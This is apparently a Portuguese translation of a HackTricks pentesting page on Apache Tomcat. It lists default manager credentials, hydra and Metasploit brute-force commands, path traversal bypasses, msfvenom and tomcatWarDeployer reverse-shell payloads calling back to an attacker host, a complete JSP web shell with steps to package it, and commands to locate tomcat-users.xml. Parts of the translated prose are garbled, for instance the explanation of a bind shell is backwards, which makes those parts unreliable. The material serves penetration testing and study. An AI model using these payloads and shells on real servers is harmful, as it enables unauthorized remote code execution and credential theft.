19 KiB
Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Descoberta
- Geralmente é executado na porta 8080
- Erro comum do Tomcat:
Enumeração
Versão
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
Localizar arquivos do gerenciador
É interessante encontrar onde estão as páginas /manager
e /host-manager
, pois elas podem ter um nome diferente. Você pode procurá-las com um ataque de força bruta.
Enumeração de nomes de usuário
Em algumas versões anteriores ao Tomcat6, era possível enumerar usuários:
msf> use auxiliary/scanner/http/tomcat_enum
Credenciais padrão
O caminho mais interessante do Tomcat é /manager/html, dentro desse caminho você pode fazer upload e implantar arquivos war (executar código). Mas esse caminho é protegido por autenticação básica HTTP, as credenciais mais comuns são:
- admin:admin
- tomcat:tomcat
- admin:<NADA>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Você pode testar essas e outras usando:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Outro caminho interessante do Tomcat é /manager/status, onde você pode ver a versão do sistema operacional e do Tomcat. Isso é útil para encontrar vulnerabilidades que afetam a versão do Tomcat quando você não consegue acessar /manager/html.
Bruteforce
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
Vulns
Divulgação de rastreamento de senha
Tente acessar /auth.jsp
e, se tiver muita sorte, poderá divulgar a senha em um rastreamento.
Codificação de URL dupla
Uma vulnerabilidade conhecida para acessar o gerenciador de aplicativos __ é o mod_jk no CVE-2007-1860, que permite travessia de caminho com codificação de URL dupla.
Para acessar a interface web de gerenciamento do Tomcat, vá para: pathTomcat/%252E%252E/manager/html
Leve em consideração que, para fazer upload do webshell, você pode precisar usar o truque de codificação de URL dupla e enviar também um cookie e/ou um token SSRF.
Para acessar a porta dos fundos, você também pode precisar usar o truque de codificação de URL dupla.
/examples
Os seguintes scripts de exemplo que vêm com o Apache Tomcat v4.x - v7.x podem ser usados por atacantes para obter informações sobre o sistema. Esses scripts também são conhecidos por serem vulneráveis a injeção de script entre sites (XSS) (de aqui).
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Traversão de caminho (..;/)
Em algumas configurações vulneráveis do Tomcat, você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: /..;/
Portanto, por exemplo, você pode ser capaz de acessar a página do gerenciador do Tomcat acessando: www.vulnerable.com/lalala/..;/manager/html
Outra maneira de contornar caminhos protegidos usando esse truque é acessar http://www.vulnerable.com/;param=value/manager/html
RCE
Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, poderá fazer upload e implantar um arquivo .war (executar código).
Limitações
Você só poderá implantar um WAR se tiver privilégios suficientes (funções: admin, manager e manager-script). Esses detalhes podem ser encontrados em tomcat-users.xml, geralmente definido em /usr/share/tomcat9/etc/tomcat-users.xml
(varia entre as versões) (veja a seção POST).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
O Metasploit é uma poderosa ferramenta de teste de penetração que permite aos hackers explorar vulnerabilidades em sistemas e redes. Ele fornece uma ampla gama de módulos e exploits que podem ser usados para comprometer sistemas alvo. O Metasploit é altamente personalizável e oferece uma interface de linha de comando e uma interface gráfica do usuário para facilitar o uso. Ele suporta uma variedade de plataformas e é amplamente utilizado por profissionais de segurança e hackers éticos para testar a segurança de sistemas e redes.
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Shell Reverso MSFVenom
O shell reverso é uma técnica comumente usada em testes de penetração para obter acesso remoto a um sistema comprometido. O MSFVenom é uma ferramenta poderosa que permite gerar payloads personalizados para explorar vulnerabilidades em um servidor web.
Para criar um payload de shell reverso usando o MSFVenom, você pode usar o seguinte comando:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -f war > shell.war
Neste comando, você precisa substituir <seu endereço IP>
pelo seu endereço IP e <sua porta>
pela porta que deseja usar para a conexão reversa.
Depois de executar o comando, o MSFVenom irá gerar um arquivo WAR chamado shell.war
, que contém o payload de shell reverso. Você pode implantar esse arquivo em um servidor Tomcat para explorar uma vulnerabilidade e obter acesso remoto ao sistema.
Lembre-se de que o uso de técnicas de hacking sem permissão é ilegal e antiético. Sempre obtenha autorização adequada antes de realizar testes de penetração em sistemas.
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
Em seguida, faça o upload do arquivo revshell.war
e acesse-o (/revshell/)
Conexão de shell reversa e bind com tomcatWarDeployer.py
Em alguns cenários, isso não funciona (por exemplo, versões antigas do sun)
Baixar
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Um shell reverso é uma técnica usada em testes de penetração para obter acesso remoto a um sistema comprometido. Em vez de estabelecer uma conexão direta com o sistema alvo, o shell reverso permite que o atacante estabeleça uma conexão de saída do sistema comprometido para um servidor controlado por ele. Isso permite que o atacante execute comandos no sistema comprometido e obtenha acesso remoto completo. O shell reverso é frequentemente usado para contornar firewalls e outras medidas de segurança, pois a conexão é iniciada do sistema comprometido para o servidor controlado pelo atacante.
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Um shell de bind é um tipo de backdoor que permite que um invasor se conecte a um sistema comprometido e execute comandos remotamente. Ao contrário de um shell reverso, onde o invasor se conecta ao sistema comprometido, um shell de bind aguarda que o sistema comprometido se conecte a ele.
Para criar um shell de bind, o invasor precisa explorar uma vulnerabilidade no sistema alvo e implantar um payload malicioso. Esse payload abrirá uma porta no sistema comprometido e aguardará por uma conexão. Uma vez que a conexão é estabelecida, o invasor pode executar comandos no sistema comprometido como se estivesse interagindo diretamente com ele.
Os shells de bind podem ser usados para várias atividades maliciosas, como roubo de dados, instalação de malware adicional ou até mesmo controle total do sistema comprometido. É importante que os administradores de sistemas estejam cientes dessa técnica e tomem medidas para proteger seus sistemas contra ataques de shell de bind.
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Usando Culsterd
O Culsterd é uma ferramenta útil para testar a segurança de servidores web Apache Tomcat. Ele fornece uma variedade de módulos que podem ser usados para explorar vulnerabilidades e realizar testes de penetração em um ambiente controlado.
Instalação
Para começar, você precisará clonar o repositório do Culsterd do GitHub:
git clone https://github.com/hatRiot/clusterd.git
Em seguida, navegue até o diretório do Culsterd:
cd clusterd
Configuração
Antes de usar o Culsterd, você precisará configurar o arquivo config.yml
com as informações do seu ambiente de teste. O arquivo de configuração contém detalhes sobre o servidor Tomcat que você deseja testar, como o endereço IP, a porta e as credenciais de autenticação, se aplicável.
Executando um módulo
Depois de configurar o arquivo config.yml
, você pode executar um módulo específico do Culsterd. Por exemplo, para executar o módulo tomcat/manager_login
, use o seguinte comando:
./clusterd.py tomcat/manager_login
O Culsterd fornecerá informações detalhadas sobre o módulo em execução, incluindo quaisquer vulnerabilidades encontradas e as etapas necessárias para explorá-las.
Explorando vulnerabilidades
O Culsterd possui uma variedade de módulos que podem ser usados para explorar vulnerabilidades específicas do Apache Tomcat. Alguns exemplos de módulos incluem:
tomcat/manager_login
: Testa a autenticação do gerenciador do Tomcat.tomcat/manager_deploy
: Testa a capacidade de implantar um arquivo WAR no Tomcat.tomcat/manager_list
: Lista os aplicativos implantados no Tomcat.
Você pode executar esses módulos usando o comando ./clusterd.py
seguido pelo nome do módulo desejado.
Conclusão
O Culsterd é uma ferramenta poderosa para testar a segurança de servidores web Apache Tomcat. Com uma variedade de módulos disponíveis, ele permite explorar vulnerabilidades e realizar testes de penetração de forma eficaz. Certifique-se de configurar corretamente o arquivo config.yml
antes de executar os módulos.
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Método manual - Web shell
Crie o arquivo index.jsp com este conteúdo:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Você também pode instalar isso (permite upload, download e execução de comandos): http://vonloesch.de/filebrowser.html
Método Manual 2
Obtenha um web shell JSP como este e crie um arquivo WAR:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
O nome do arquivo de credenciais do Tomcat é tomcat-users.xml.
find / -name tomcat-users.xml 2>/dev/null
Outras maneiras de obter credenciais do Tomcat:
- Força bruta: Tentar adivinhar as credenciais do Tomcat usando uma lista de senhas comuns ou tentando todas as combinações possíveis de senhas.
- Ataques de dicionário: Usar um dicionário de palavras para tentar adivinhar as credenciais do Tomcat.
- Ataques de injeção de SQL: Explorar vulnerabilidades de injeção de SQL para obter acesso às credenciais do Tomcat armazenadas no banco de dados.
- Ataques de phishing: Enganar os usuários do Tomcat para que revelem suas credenciais por meio de e-mails falsos ou páginas da web fraudulentas.
- Exploração de vulnerabilidades: Identificar e explorar vulnerabilidades conhecidas no Tomcat para obter acesso não autorizado.
- Sniffing de rede: Monitorar o tráfego de rede para capturar as credenciais do Tomcat quando são transmitidas em texto claro.
- Ataques de força bruta de hash: Tentar quebrar senhas criptografadas armazenadas no arquivo de configuração do Tomcat usando ataques de força bruta de hash.
- Ataques de força bruta de sessão: Tentar adivinhar ou forçar a sessão de um usuário legítimo do Tomcat para obter acesso às suas credenciais.
É importante lembrar que a realização de qualquer uma dessas atividades sem autorização prévia é ilegal e pode resultar em consequências legais graves. Sempre obtenha permissão por escrito antes de realizar testes de penetração em qualquer sistema.
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Outras ferramentas de varredura do Tomcat
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? Ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.